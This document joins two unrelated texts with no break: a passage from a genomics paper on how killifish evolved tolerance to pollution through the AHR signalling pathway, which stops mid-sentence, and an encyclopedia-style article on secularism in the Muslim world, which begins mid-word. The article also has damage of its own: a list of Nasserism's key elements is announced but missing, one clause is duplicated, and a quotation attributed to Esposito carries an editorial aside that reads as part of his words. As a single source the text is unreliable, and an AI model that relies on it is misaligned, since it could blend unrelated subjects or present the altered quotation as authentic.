Fig. 2 Patterns of structural and functional genomic divergence. (A) Allele frequency differentiation (F ST, top) and nucleotide diversity (pi, bottom) difference (tolerant pi – sensitive pi) for each population pair studied for top-ranking outlier regions (including the top two per pair). Colored panels span the outlier region of each respective population comparison where number indicates outlier rank for each tolerant-sensitive pair. Red dashed lines indicate outlier thresholds. Each tick on x axis is at the 500-kb position on the scaffold, and each candidate gene name is indicated (top) for each outlier region. Top outlier regions are not colocalized in the genome (fig. S3). (B) Model of key molecules in the AHR signaling pathway, including regulatory genes and transcriptional targets (AHR gene battery). Boxes next to genes are color-coded by population pair; filled boxes indicate the gene is within a top-ranking outlier region for that pair, and number indicates ranking of the outlier region as in (A). Top-ranking outlier regions contain AHR pathway genes and tend to be outliers in all population pairs, although some significant outliers are population-specific. (C) Gene-expression (of developing embryos) heat map shows up-regulated genes in response to PCB 126 exposure (“PCB”; 200 ng/liter) compared with control exposure (“Con”) for sensitive populations, most of which are unresponsive in tolerant populations. The bottom panel highlights genes characterized as transcriptionally activated by ligand-bound AHR (table S4).
The importance of these outliers is supported by transcriptomics. When sensitive and tolerant populations were raised in a common clean environment for two generations and embryos were challenged with a model toxic pollutant, the polychlorinated biphenyl (PCB) 3,3′,4,4′,5-pentachlorobiphenyl (PCB 126)–tolerant populations exhibit reduced inducibility of AHR-regulated genes (Fig. 2C). The 70 genes up-regulated in response to pollutant challenge in sensitive populations, but not in tolerant populations (table S3), are enriched for those regulated by the AHR signaling pathway (P < 0.0001). Impaired AHR signaling is most apparent with the canonical transcriptional targets of AHR (Fig. 2C and table S4). Dominant pollutants at T sites include halogenated aromatic hydrocarbons (HAHs) and polycyclic aromatic hydrocarbons (PAHs) that bind AHR and initiate aberrant signaling that causes malformations during development and subsequent embryo and larval lethality, as well as toxicity in adults (8). Given that the AHR pathway is repeatedly desensitized in tolerant populations (Fig. 2C) (9) and top-ranked outliers contain AHR pathway genes, we conclude that the AHR signaling pathway is likely a key and repeated target of natural selection in tolerant populations. This convergence suggests that adaptive options are constrained to modifications of this signaling pathway that mediates the toxicity of many HAHs and PAHs.
AHR deletions are found in tolerant populations. Four paralogs of AHR exist in the F. heteroclitus genome (10). Knockdown of AHR2a is protective of toxicity from many HAHs and PAHs [e.g., (11)]. Tandem paralogs AHR2a and AHR1a are within a highly ranked outlier region in all tolerant populations (Fig. 2A). Note that three tolerant populations have deletions (fig. S7) spanning AHR2a and AHR1a (Fig. 3A). In T4, a deletion is found in a single haplotypic background (fig. S8) that segregates at high frequency (81%) but is absent in S4 (Fig. 3B). In T4 individuals, RNA-seq data reveal expression of a chimeric transcript (joining exon 10 of AHR2a and exon 7 of AHR1a). In T1 and T3, different deletions spanning AHR2a and AHR1a (Fig. 3, A and B) occur in two and one haplotypic backgrounds, respectively (fig. S9). A deletion is present in at least one sensitive population (Fig. 3B), but no deletion was found in T2. Variation in this region is also associated with sensitivity to PCB toxicity in T1 (12) and in PCB-adapted tomcod (13). We thus conclude that AHR genes are likely common loci of selection for multiple genetic variants, including deletions, where a single deletion-associated haplotype has swept in the southern tolerant population.
Fig. 3 Patterns of adaptive genetic variation for top-ranking and shared outliers. (A) Gene model of AHR2a and AHR1a (green or blue squares represent exons). Black bars indicate deleted regions present within tolerant populations. (B) The number of individuals homozygous for specific deletions (gray bar), heterozygous (hatched gray bar), or homozygous wild type (light bar) within each population. (C) Multidimensional scaling (MDS) plot of genotypic variation on the scaffold containing the AIP gene. (D) MDS plot of genotypic variation on the scaffold containing the CYP1A gene. (E) Bar plot of copy number of the duplications around CYP1A, where boxes, whiskers, and dots represent interquartile range, 1.5× interquartile range, and the remainder, respectively (the background diploid state includes two copies). Although the CYP1A region is highly differentiated in all tolerant populations (D), CYP1A duplications are found only in northern tolerant populations (E).
The strongest signal of selection we observed is in a window that is a shared outlier in all tolerant populations [aryl hydrocarbon receptor–interacting protein (AIP) in Fig. 2A]. In northern tolerant populations, a single large (650-kb) haplotype has swept to high frequency, accompanied by reduced pi. In T4, a different haplotype has swept to high frequency (Fig. 3C). In T1 (sequenced to higher coverage), we detect recombination breakpoints, allowing identification of a core haplotype region (~100 kb) that coincides with peak differentiation (fig. S10), within which we find AIP. Variation near this locus also associates with sensitivity to PCB toxicity in T1 (12). AIP regulates cytoplasmic stability and cytoplasmic-nuclear shuttling of the AHR protein and thereby influences AHR signaling and regulates toxicity (14).
A key transcriptional target of AHR, the biotransformation gene CYP1A, is within a top-ranking outlier region shared by all tolerant populations (Fig. 2A). Genotypes from tolerant populations are highly differentiated from sensitive populations (Fig. 3D) and CYP1A single-nucleotide polymorphism (SNP) variants are linked with tolerance (15). In northern tolerant populations, CYP1A duplications have swept to high frequency, where individuals have up to eight copies of the CYP1A gene (Fig. 3E and figs. S7 and S11), and duplicates are present in some sensitive populations. CYP1A expression is not increased in northern tolerant populations (embryos) (table S4), as one might expect after duplication. However, because AHR knockout in rodents decreases basal CYP1A expression (16) and AHR signaling is impaired in tolerant killifish, we hypothesize that CYP1A duplication has been favored as a compensatory, dosage-compensating adaptation for impaired AHR signaling in northern tolerant fish. In contrast, we find no evidence of duplication in T4 (Fig. 3E), although this region retains a strong signature of selection (Fig. 2A) and is highly differentiated from S4 (Fig. 3D). PAHs primarily contaminate T4, and these chemicals interact differently with AHR-induced CYP1A than with HAHs, which dominate northern sites (17). We propose that different chemical pollutants acting as selective agents may govern the fate of different CYP1A variants between HAH- and PAH-polluted sites.
Although AHR pathway genes are among shared outliers, they are also within population-specific outlier regions. Tandem paralogs AHR1b and AHR2b are within an outlier region in T3 and T4 (fig. S12) so that all four AHR paralogs are within outlier regions for one or more tolerant populations. Five additional AHR pathway genes are significant outliers for only T4. Two of these (ARNT1c and HSP90) (figs. S13 and S14) directly interact with AHR protein, whereas the remaining three (CYP1C1/1C2, GFRP, and GSTT1) (figs. S15 and S16) are PAH biotransformation genes that are also key transcriptional targets of AHR (Fig. 2C). The inclusion of PAH biotransformation genes among outliers specific to T4 (primarily polluted with PAHs) likely reflects differences between cellular effects of PAHs and HAHs (17).
Other selective targets include genes outside of AHR signaling. Some PAHs, particularly those that are abundant only at T4, cause cardiotoxicity independent of AHR (18) through disruption of voltage-gated potassium channels and regulation of intracellular calcium (19). Note that two genes whose products form the conductance pore of the voltage-gated potassium channel (KCNB2 and KCNC3) are within top-ranking outlier windows in T4 (figs. S17 and S18). Similarly, ryanodine receptor (RYR) regulates intracellular calcium, and RYR3 is within an outlier window in T4 (fig. S19). We conclude that components of the adaptive phenotype are underpinned by genes that are both related and unrelated to AHR signaling, consistent with complex adaptations to complex chemical mixtures.
Our results also suggest compensatory adaptation associated with the (potential) costs of evolved pollution tolerance. AHR signaling has diverse functions and interacts with multiple pathways, including estrogen and hypoxia signaling, regulation of cell cycle, and immune system function (20). Estrogen receptor 2b is within an outlier region in T2 (fig. S20), and estrogen receptor–regulated genes are enriched within outlier gene sets for all tolerant populations (P < 0.001) (fig. S21). Estrogen receptor is also inferred as a significant upstream regulator for genes differentially expressed between tolerant and sensitive populations (P < 0.05) (e.g., genes in Fig. 2C). Hypoxia-inducible factor 2α is within an outlier window in T3 (fig. S22). Interleukin and cytokine receptors are in outlier windows in T4 (fig. S23). We conclude that some components of the adaptive phenotype in polluted sites may be due to compensation for the altered AHR signaling that underlies the primary pollutant-tolerance phenotype. Selection for compensatory changes may be common following rapid adaptive evolution.
In animal models, single gene (AHR) knockout can protect from toxicity of some HAH or PAH compounds [e.g., (21)]. However, in wild killifish populations, adaptive genotypes appear complex, including multiple AHR signaling pathway elements and other genes. We suggest that this complexity arises from two primary factors. First, tolerant sites are contaminated with complex mixtures of hydrocarbons. Mixture components may interact in subtly different ways with AHR (17), and some exert toxicity through pathways other than AHR (18), such that adaptations in multiple pathways are required. Second, because many of the AHR signaling pathway genes identified here as targets of selection interact with multiple regulatory pathways (20), changes to their function may have deleterious consequences that may result in selection for compensatory change. Other changes in these highly altered estuaries may also exert selection pressures [e.g., estrogenic pollutants (22), hypoxia, or altered species diversity].
A fundamental question in evolutionary biology pertains to the nature and number of variants recruited by natural selection. The relative contributions of de novo variants, standing variation, and the number of competing beneficial variants depend in part on the strength of selection, its spatial patterning, existing genetic diversity and the beneficial mutation rate. Although modes of evolution can be difficult to distinguish (23), our data are revealing. We observe signals of convergence and divergence. Genes in the AHR pathway are repeated targets of selection, even in populations exposed to distinct chemical mixtures and separated by substantial genetic distance. This suggests adaptive constraint. Yet, different variants are often favored in different tolerant populations (e.g., AHR and CYP1A), some of which are present in sensitive populations, and common variants (e.g., large AIP haplotype) have rapidly swept in multiple populations of this low-dispersal fish. This suggests that selection on preexisting variants was important for rapid adaptation in killifish and that multiple molecular targets were available for selective targeting of a common pathway. The prevalence of soft sweeps is predicted to be high during rapid adaptation (24).
Evolutionary change relies on genetic variation that may preexist, or arise through new mutation |
ism, and secularists tend to seek to promote secular political and social values as opposed to Islamic ones. Among western scholars and Muslim intellectuals, there are some debates over secularism which include the understanding of political and religious authorities in the Islamic world and the means and degree of application of sharia in legal system of the state.
As the concept of secularism varies among secularists in the Muslim world, reactions of Muslim intellectuals to the pressure of secularization also varies. On the one hand, secularism is condemned by some Muslim intellectuals who do not feel that religious influence should be removed from the public sphere.[2] On the other hand, secularism is claimed by others to be compatible with Islam. The quest for secularism has inspired some Muslim scholars to argue that secular government is the best way to observe sharia, as "enforcing [sharia] through coercive power of the state negates its religious nature".[3] While they did not adhere to the modern concept of a nation with no official religion or religion-based laws, a number of Muslim-majority states in the Middle Ages demonstrated some level of separation between religious and political authority.[4]
Today, some Muslim-majority countries define themselves as or are regarded as secular, and many of them have a dual system in which Muslims can bring familial and financial disputes to sharia courts. The exact jurisdiction of these courts varies from country to country, but usually includes marriage, divorce, inheritance, and guardianship.[5]
Definition [ edit ]
The etymology of the Arabic word for secularism can be controversial in itself. Some scholars pointed out that originally there was no Arabic term to describe the secular and secularism and therefore some neologisms were spawned. Secularism was translated into Arabic either as "‘alamaniyah", which is derived from "‘alam (world or universe)", or as "‘ilmaniyah", which is derived from "‘ilm (science or knowledge)". The term "‘alamaniyah" first appeared at the end of the nineteenth century in the dictionary Muhit al-Muhit[6] written by the Christian Lebanese scholar Butrus al-Bustani. It has been suggested that the use of other translations, such as "la diniyah (non-religious)", that implied the exclusion or marginalisation of religion, would have met with outright rejection by Muslims, for whom (according to the principle al-Islam din wa-dawlah, Islam is religion and state) the division between the temporal and the spiritual is literally unthinkable.[7][8]
Moreover, some refer to "‘almaniyyah" which is derived from the word "‘alam", and others prefer "dunyawiyyah", which is derived from "dunya (temporal)", in contrast to "dini (religious)".[citation needed]
Overview [ edit ]
The concept of secularism was imported along with many of the ideas of post-enlightenment modernity from Europe into the Muslim world, namely Middle East and North Africa. Among Muslim intellectuals, the early debate on secularism centered mainly on the relationship between religion and state, and how this relationship was related to European successes in science, technology and governance.[7] In the debate on the relationship between religion and state, (in)separability of religious and political authorities in the Islamic world, or status of the Caliph, was one of the biggest issues.[9]
John L. Esposito, a professor of international affairs and Islamic studies, points out: "the post-independent period witnessed the emergence of modern Muslim states whose pattern of development was heavily influenced by and indebted to Western secular paradigms or models. Saudi Arabia and Turkey reflected the two polar positions. [...] The majority of Muslim states chose a middle ground in nation building, borrowing heavily from the West and relying on foreign advisers and Western-educated elites.[10]"
Esposito also argues that in many modern Muslim countries the role of Islam in state and society as a source of legitimation for rulers, state, and government institutions was greatly decreased though the separation of religion and politics was not total. However while most Muslim governments replaced Islamic law with legal systems inspired by western secular codes, Muslim family law (marriage, divorce, and inheritance) remained in force.[11]
However, many Muslims argue that, unlike Christianity, Islam does not separate religion from the state and many Muslims around the world welcome a significant role for Islam in their countries' political life.[12] It is apolitical Islam, not political Islam, that requires explanation and that is an historical fluke of the "shortlived heyday of secular Arab nationalism between 1945 and 1970."[13]
Furthermore, the resurgence of Islam, beginning with the Iranian revolution of 1978-9, defied the illusions of advocates of secularization theory. The resurgence of Islam in politics in the most modernizing of Muslim countries, such as Egypt, Algeria and Turkey, betrayed expectations of those who believed religion should be at the margins not the center of public life. Furthermore, in most cases, it was not rural but urban phenomena, and its leaders and supporters were educated professionals.[14]
From a more historical perspective, scholar Olivier Roy argues that "a defacto separation between political power" of sultans and emirs and religious power of the caliph was "created and institutionalized... as early as the end of the first century of the hegira" and what has been lacking in the Muslim world is "political thought regarding the autonomy of this space." No positive law was developed outside of sharia. The sovereign's religious function was to defend the Islamic community against its enemies, institute the sharia, ensure the public good (maslaha). The state was an instrument to enable Muslims to live as good Muslims and Muslims were to obey the sultan if he did so. The legitimacy of the ruler was "symbolized by the right to coin money and to have the Friday prayer (Jumu'ah khutba) said in his name."[15]
History [ edit ]
Early history [ edit ]
Ira M. Lapidus, an Emeritus Professor of Middle Eastern and Islamic History at The University of California at Berkeley, notes that religious and political power was united while the Prophet Muhammad was leading the ummah, resulting in a non-secular state. But Lapidus states that by the 10th century, some governments in the Muslim world had developed an effective separation of religion and politics, due to political control passing "into the hands of generals, administrators, governors, and local provincial lords; the Caliphs had lost all effective political power". These governments were still officially Islamic and committed to the religion, but religious authorities had developed their own hierarchies and bases of power separate from the political institutions governing them:
In the same period, religious communities developed independently of the states or empires that ruled them. The ulama regulated local communal and religious life by serving as judges, administrators, teachers, and religious advisers to Muslims. The religious elites were organized according to religious affiliation into Sunni schools of law, Shi'ite sects, or Sufi tariqas. [...] In the wide range of matters arising from the Shari'a - the Muslim law - the 'ulama' of the schools formed a local administrative and social elite whose authority was based upon religion.[16]
Lapidus argues that the religious and political aspects of Muslim communal life came to be separated by Arab rebellions against the Caliphate, the emergence of religious activity independent of the actual authority of the Caliphs, and the emergence of the Hanbali school of law.[17]
The Umayyad caliphate was seen as a secular state by many Muslims at the time, some of whom disapproved of the lack of integration of politics and religion. This perception was offset by a steady stream of wars that aimed to expand Muslim rule past the caliphate's borders.[18]
In early Islamic philosophy, Averroes presented an argument in The Decisive Treatise providing a justification for the emancipation of science and philosophy from official Ash'ari theology. Because of this, some consider Averroism a precursor to modern secularism.[19] Others argue that this reflects an incorrect view of his philosophy, stripped of its inherent Islamic dimensions by European philosophers.[20]
Modern history [ edit ]
Many of the early supporters of Secularist principles in Middle Eastern countries were Baathist and non-Muslim Arabs, seeking a solution to a multi-confessional population and an ongoing drive to modernism.[21]
Many Islamic modernist thinkers argued against the inseparability of religious and political authorities in the Islamic world, and described the system of separation between religion and state within their ideal Islamic world.
Muhammad ʿAbduh, a prominent Muslim modernist thinker, claimed in his book "Al-Idtihad fi Al-Nasraniyya wa Al-Islam[22]" that no one had exclusive religious authority in the Islamic world. He argued that the Caliph did not represent religious authority, because he was not infallible nor was the Caliph the person whom the revelation was given to; therefore, according to Abduh, the Caliph and other Muslims are equal. ʿAbduh argued that the Caliph should have the respect of the umma but not rule it; the unity of the umma is a moral unity which does not prevent its division into national states.[23]
Abdel Rahman Al-Kawakibi, in his book "Taba'i' Al-Istibdad (The Characteristics of Tyranny)", discussed the relationship between religion and despotism,[24] arguing that "while most religions tried to enslave the people to the holders of religious office who exploited them, the original Islam was built on foundations of political freedom standing between democracy and aristocracy."[25] Al-Kawakibi suggested that people can achieve a non-religious national unity, saying:"Let us take care of our lives in this world and let the religions rule in the next world."[26] Moreover, in his second book "Umm Al-Qura (The Mother of Villages)" his most explicit statement with regard to the question of religion and state appeared in an appendix to the book, where he presented a dialogue between the Muslim scholar from India and an amir. The amir expressed his opinion that "religion is one thing and the government is another... The administration of religion and the administration of the government were never united in Islam."
Rashid Rida's thoughts about the separation of religion and state had some similarities with ʿAbduh and Al-Kawakibi. According to the scholar, Eliezer Tauber:
He was of the opinion that according to Islam 'the rule over the nation is in its own hands... and its government is a sort of a republic. The caliph has no superiority in law over the lowest of the congregation; he only executes the religious law and the will of the nation.' And he added: 'For the Muslims, the caliph is not infallible (ma'sum) and not the source of revelation.' And therefore, 'the nation has the right to depose the imam-caliph, if it finds a reason for doing so'.[27]
What is unique in Rida's thought is that he provided details of his ideas about the future Arab empire in a document, which he called the "General Organic Law of the Arab Empire". Rida argued that the general administrative policy of the future empire would be managed by a president, a council of deputies to be elected from the entire empire, and a council of ministers to be chosen by the president from among the deputies. There, the caliph must recognize the 'General Organic Law' and abide by it. He would manage all the religious matters of the empire. Rida's ideal Islamic empire would be administered in practice by a president, while the caliph would administer only religious affairs and would be obliged to recognize the organic law of the empire and abide by it.[28]
As seen above, these arguments about separability of religious and political authorities in the Islamic world were greatly connected with the presence of the Caliphate. Therefore, the abolishment of the Caliphate by Turkish government in 1924 had considerable influence on such arguments among Muslim intellectuals.
The most controversial work is that of Ali Abd al-Raziq, an Islamic Scholar and Shari’a judge who caused a sensation with his work "Islam and the Foundations of Governance (Al-Islam Wa Usul Al-Hukm[29])" in 1925. He argued that there were no clear evidence in the Quran and the hadith, which justify a common assumption: to accept the authority of the caliph is an obligation. Furthermore, he claimed that it was not even necessary that the ummah should be politically united and religion has nothing to do with one form of government rather than another. He argued that there is nothing in Islam which forbids Muslims to destroy their old political system and build a new one on the basis or the newest conceptions of the human spirit and the experience of nations.[30] This publication caused a fierce debate especially as he recommended that religion can be separated from government and politics. He was later removed from his position. Rosenthall commented on him saying:
"we meet for the first time a consistent, unequivocal theoretical assertion of the purely and exclusively religious character of Islam".[31]
Taha Hussein, an Egyptian writer, was also an advocate for the separation of religion and politics from a viewpoint of Egyptian nationalism. Hussein believed that Egypt always had been part of Western civilization and that Egypt had its renaissance in the nineteenth century and had re-Europeanized itself. For him, the distinguishing mark of the modern world is that it has brought about a virtual separation of religion and civilization, each in its own sphere. It is therefore quite possible to take the bases of civilization from Europe without its religion, Christianity. Moreover, he believed that it is easier for Muslims than for Christian, since Islam has no priesthood, and so there has grown up no vested interest in the control of religion over society.[32]
Secular women [ edit ]
It was suggested that secular oriented women do not support sharia as the main source of legislation, rather they refer to civil law and the resolution of human rights conventions, as adopted by the United Nations, as frames for reference for their struggle. Azza Karam (1998:13), for example, describes secular feminists as follows: "Secular feminists firmly believe in grounding their discourse outside the realm of any religion, whether Muslim or Christian, and placing it, instead within the international human rights discourse. They do not ‘waste their time’ attempting to harmonize religious discourses with the concept and declarations pertinent to human rights. To them religion is respected as a private matter for each individual, but it is totally rejected as a basis from which to formulate any agenda on women’s emancipation. By so doing, they avoid being caught up in interminable debates on the position of women with religion."[33] Generally, secular feminist activists call for total equality between the sexes, attempt to ground their ideas on women’s rights outside religious frameworks, perceive Islamism as an obstacle to their equality and a linkage to patriarchal values. They argue that secularism was important for protecting civil rights.[34]
Influences [ edit ]
Colonial influence [ edit ]
In many former colonised Middle East countries, the kuttab or the madrassas (the Quranic schools) were moved to the western format. The French colonial government in the protectorates of the Maghreb changed the education system into a secular model closely modeled on their own. The colonialists firmly believed that their secular system was more modern, efficient, and progressive than the incumbent practices.[citation needed] These changes had far-reaching social consequences and laid the foundation[citation needed] of Arab Secularism by separating the Islam from government affairs, education, and justice.
In consequence, "perception of the public, political, and social domain through the prism of religion became marginal and was replaced by a new perception, a perception that was modern, temporal, ideological, ethical, evolutionary, and political."[35]
Communist influence [ edit ]
In 1918 the Soviet Union opened the Commissariat for Muslim Affairs, which actively opposed the colonial powers in the Middle East and their system of Mandates.[36]
In the 1920s the formation of the first communist parties in the Middle East started playing a key role in the anti-colonial struggle and promoting their ethos regarding workers rights. During the Second World War they also played a role fighting against fascism and participating in the international peace movement.
A key element of the Communism movement was the well organized network of parties in different countries that provided support to each other and enabled communist organizations to become an effective outlet against oppression.
Communism went on to become one of the key components of Arab Nationalism and was particularly prominent during the rule of Gamel Abdel Nasser in Egypt in which Egyptian communists stood aside.[37] And even though communism was often a prominent supporter of Arab nationalism, the international relationships which allowed it to be such a potent force were also used by opposition regimes, and to some extent third parties during the Cold War.
Secular states with majority Muslim populations [ edit ]
Secularist movements by state [ edit ]
Turkey [ edit ]
Secularism in Turkey was both dramatic and far reaching as it filled the vacuum of the fall of the Ottoman Empire after World War I. With the country getting down Mustafa Kemal Atatürk led a political and cultural revolution. "Official Turkish modernity took shape basically through a negation of the Islamic Ottoman system and the adoption of a west-oriented mode of modernization."[62]
The Caliphate was abolished.
Religious lodges and Sufi orders were banned.
A secular civil code based on Swiss civil code was adopted to replace the previous codes based on Islamic law (shari’a) outlawing all forms of polygamy, annulled religious marriages, granted equal rights to men and women, in matters of inheritance, marriage and divorce.
The religious court system and institutions of religious education were abolished.
The use of religion for political purposes was banned.
A separate institution was created that dealt with the religious matters of the people.
The alphabet was changed from Arabic to Latin.
A portion of religious activity was moved to the Turkish language, including the Adhan (call to prayer) which lasted until 1950. This was done by the second president of the republic of Turkey.
Throughout the 20th century secularism was continuously challenged by Islamists. At the end of the 20th century and beginning of the 21st century, political Islamists and Islamic democrats such as the Welfare Party and Justice and Development Party (AKP) gained in influence, with the AKP in the 2002 elections acquiring government and holding on to it ever since with increasingly authoritarian methods.[63][64]
Lebanon [ edit ]
Lebanon is a parliamentary democracy within the overall framework of Confessionalism, a form of consociationalism in which the highest offices are proportionately reserved for representatives from certain religious communities.
A growing number of Lebanese, however, have organized against the confessionalist system, advocating for an installation of laïcité in the national government. The most recent expression of this secularist advocacy was the Laïque Pride march held in Beirut on April 26, 2010, as a response to Hizb ut-Tahrir's growing appeal in Beirut and its call to re-establish the Islamic caliphate.
Tunisia [ edit ]
Under the leadership of Habib Bourguiba (1956–1987), Tunisia’s post independence government pursued a program of secularization.[65]
Bourguiba modified laws regarding habous (religious endowments), secularized education and unified the legal system so that all Tunisians, regardless of religion, were subject to the state courts. He restricted the influence of the religious University of Ez-Zitouna and replaced it with a faculty of theology integrated into the University of Tunis, banned the headscarf for women, made members of the religious hierarchy state employees and ordered that the expenses for the upkeep of mosques and the salaries of preachers to be regulated.[66]
Moreover, his best known legal innovations was the ‘Code du Statut Personel’ (CSP) the laws governs issues related to the family: marriage, guardianship of children, inheritance and most importantly the abolishing of polygamy and making divorce subject to judicial review.[67]
Bourguiba clearly[citation needed] wanted to undercut the religious establishment’s ability to prevent his secularization program, and although he was careful to locate these changes within the framework of a modernist reading of Islam and presented them as the product of ijtihad (independent interpretation) and not a break with Islam, he became well known for his secularism. John Esposito says that "For Bourguiba, Islam represented the past; the west was Tunisia's only hope for a modern future, but he was mistaken, Islam is modernization"[68]
Following increasing economic problems, Islamist movements came about in 1970 with the revival of religious teaching in Ez-Zitouna University and the influence which came from Arab religious leaders like Syrian and Egyptian Muslim Brotherhoods.[69] There is also influence by Hizb ut-Tahrir, whose members issue a magazine in Tunis named Azeytouna.[70] In the aftermath, the struggle between Bourguiba and Islamists became uncontrolled and in order to repress the opposition the Islamist leaderships were exiled, arrested and interrogated.[71]
Ennahda Movement, also known as Renaissance Party or simply Ennahda, is a moderate Islamist political party in Tunisia.[72][73][74][75] On 1 March 2011, after the secularist dictatorship of Zine El Abidine Ben Ali collapsed in the wake of the 2011 Tunisian revolution, Tunisia's interim government granted the group permission to form a political party. Since then it has become the biggest and most well-organized party in Tunisia, so far outdistancing its more secular competitors. In the Tunisian Constituent Assembly election, 2011, the first honest election in the country's history with a turn out of 51.1% of all eligible voters, the party won 37.04% of the popular vote and 89 (41%) of the 217 assembly seats, far more than any other party.[76][77][78][79][80]
Egypt [ edit ]
Secularism in Egypt has had a very important role to play in both the history of Egypt and that of the Middle East. Egypt’s first experience of secularism started with the British Occupation (1882–1952), the atmosphere which allowed propagation of western ideas. In this environment, pro-secularist intellectuals like Ya'qub Sarruf, Faris Nimr, Nicola Haddad who sought political asylum from Ottoman Rule were able to publish their work. This debate had then become a burning issue with the work of Egyptian Shaykh Ali abd al-Raziq (1888–1966), "The most momentous document in the crucial intellectual and religious debate of modern Islamic history"[81]
By 1919 Egypt had its first political secular entity called the Hizb 'Almani (Secular Party) this name was later changed to the Wafd party. It combined secular policies with a nationalist agenda and had the majority support in the following years against both the rule of the king and the British influence. The Wafd party supported the allies during World War II and then proceeded to win the 1952 parliamentary elections, following these elections the prime minister was overthrown by the King leading to riots. These riots precipitated a military coup after which all political parties were banned including the Wafd and the Muslim Brotherhood.[26]
The government of Gamel Abdel Nasser was secularist-nationalist in nature which at the time gathers a great deal of support both in Egypt and other Arab states. Key elements of Nasserism:[82]
Secular legacy of Nasser's dictatorship influenced dictatorial periods of Anwar Sadat and Hosni Mubarak and secularists ruled Egypt until 2011 Egyptian revolution. Nevertheless, the Egyptian Muslim Brotherhood has become one of the most influential movements in the Islamic world, particularly in the Arab world. For many years it was described as "semi-legal"[83] and was the only opposition group in Egypt able to field candidates during elections.[84] In the Egyptian parliamentary election, 2011–2012, the political parties identified as "Islamist" (the Brotherhood's Freedom and Justice Party, Salafi Al-Nour Party and liberal Islamist Al-Wasat Party) won 75% of the total seats.[85] Mohamed Morsi, an Islamist democrat of Muslim Brotherhood was the first democratically elected president of Egypt. Nowadays, most Egyptian proponents of secularism emphasize the link between secularism and ‘national unity’ between Coptic Christians and Muslims.
Syria [ edit ]
The process of secularization in Syria began under the French mandate in the 1920s and went on continuously under different governments since the independence. Syria has been governed by the Arab nationalist Ba'ath Party since 1963. The Ba'ath government combined Arab socialism with secular ideology and an authoritarian political system. The constitution guarantees religious freedom for every recognized religious communities, including many Christian denominations. All schools are government-run and non-sectarian, although there is mandatory religious instruction, provided in Islam and/or Christianity. Political forms of Islam are not tolerated by the government. The Syrian legal system is primarily based on civil law, and was heavily influenced by the period of French rule. It is also drawn in part from Egyptian law of Abdel Nasser, quite from the Ottoman Millet system and very little from Sharia. Syria has separate secular and religious courts. Civil and criminal cases are heard in secular courts, while the Sharia courts handle personal, family, and religious matters in cases between Muslims or between Muslims and non-Muslims.[86] Non-Muslim communities have their own religious courts using their own religious law.[87]
Iran [ edit ]
Following the military coup of 21 February 1921, Reza Khan had established himself as the dominant political personality in the country. Fearing that their influence might be diminished, the clergy of Iran proposed their support and persuaded him to assume the role of the Shah.[88]
1925–1941: Reza Shah began to make some dramatic changes to Iranian society with the specific intention of westernization and removing religion from public sphere. He changed religious schools to secular schools, built Iran’s first secular university and banned the hijab in public. Nevertheless, the regime became totally undemocratic and authoritarian with the removal of Majles power (the first parliament in 1906) and the clampdown on free speech.[89]
1951–1953: During the early 1950s the Prime Minister Dr Mossadeq was again forming a secular government with a socialist agenda with the specific aim of reducing the power held by the clergy. However his plans for nationalization the oil industry were a step too far for Britain, and the legislature became increasingly wary of his concentration of power. So with the help of the CIA, the United Kingdom supported a coup which replaced the government of Mossadeq with Mohammad Reza Shah.
1962–1963: Using the mandate of westernization, Mohammad Reza Shah introduced White Revolution, aiming to transform Iran into a Westernized secular capitalist country.
1963–1973: Opposition rallied united behind Ayatollah Ruhollah Khomeini and by the end of the 1970s the Shah was overthrown in an Islamic Revolution (1979).[26]
Pakistan [ edit ]
Early in the history of the state of Pakistan (12 March 1949), a parliamentary resolution (the Objectives Resolution) was adopted, just a year after the death of Muhammad Ali Jinnah, the founder of Pakistan, in accordance with the vision of other founding fathers of Pakistan (Muhammad Iqbal, Liaquat Ali Khan).[90] proclaiming:
Sovereignty belongs to Allah alone but He has delegated it to the State of Pakistan through its people for being exercised within the limits prescribed by Him as a sacred trust. The State shall exercise its powers and authority through the elected representatives of the people.
The principles of democracy, freedom, equality, tolerance and social justice, as enunciated by Islam, shall be fully observed.
Muslims shall be enabled to order their lives in the individual and collective spheres in accordance with the teachings of Islam as set out in the Quran and Sunnah.
Provision shall be made for the religious minorities to freely profess and practice their religions and develop their cultures.
According to Pakistani secularists, this resolution differed from the Muhammad Ali Jinnah's 11th August Speech that he made in the Constitutive Assembly, but however, this resolution was passed by the rest of members in the assembly after Muhammad Ali Jinnah's death in 1948. This resolution later became key source of inspiration for writers of Constitution of Pakistan and is included in constitution as preamble. However, Pakistan is an Islamic republic, with Islam as the state religion; it has aspects of secularism inherited from its colonial past. Islamists and Islamic democratic parties in Pakistan are relatively less influential than democratic Islamists of other Muslim democracies however they do enjoy considerable street power.
The Council of Islamic Ideology is a body that is supposed to advise the Parliament of Pakistan on bringing laws and legislation in alignment with the principles of the Quran and Sunnah, though it has no enforcement powers. The Federal Shariat Court can strike down any law deemed un-Islamic, though its decisions can be overturned by the Supreme Court of Pakistan.[91]
Opposition and critique [ edit ]
Secularism and religion [ edit ]
Islamists believe that Islam fuses religion and politics, with normative political values determined by the divine texts.[92] It is argued that this has historically been the case and the secularist/modernist efforts at secularizing politics are little more than jahiliyyah (ignorance), kafir (unbelief/infidelity), irtidad (apostasy) and atheism.[81][93] "Those who participated in secular politics were raising the flag of revolt against Allah and his messenger."[94]
Saudi scholars denounce secularism as strictly prohibited in Islamic tradition. The Saudi Arabian Directorate of Ifta', Preaching and Guidance, has issued a directive decreeing that whoever believes that there is a guidance (huda) more perfect than that of the Prophet, or that someone else's rule is better than his is a kafir.[95]
It lists a number of specific tenets which would be regarded as a serious departure from the precepts of Islam, punishable according to Islamic law. For example:
The belief that human made laws and constitutions are superior to the Shari'a.
The opinion that Islam is limited to one's relation with God, and has nothing to do with the daily affairs of life.
To disapprove of the application of the hudud (legal punishments decreed by God) that they are incompatible in the modern age.
(legal punishments decreed by God) that they are incompatible in the modern age. And whoever allows what God has prohibited is a kafir.[96]
In the view of Tariq al-Bishri, "secularism and Islam cannot agree except by means of talfiq [combining the doctrines of more than one school, i.e., falsification], or by each turning away from its true meaning."[97]
Secularism and authoritarianism [ edit ]
A number of scholars believe that secular governments in Muslim countries have become more repressive and authoritarian to combat the spread of Islamism, but this increased repression may have made many Muslim societies more opposed to secularism and increased the popularity of Islamism the Middle East.[98]
Authoritarianism has left in many countries the mosque as the only place to voice political opposition.[99] Scholars like Vali Nasr argue that the secular elites in the Muslim world were imposed by colonial powers to maintain hegemony.[100]
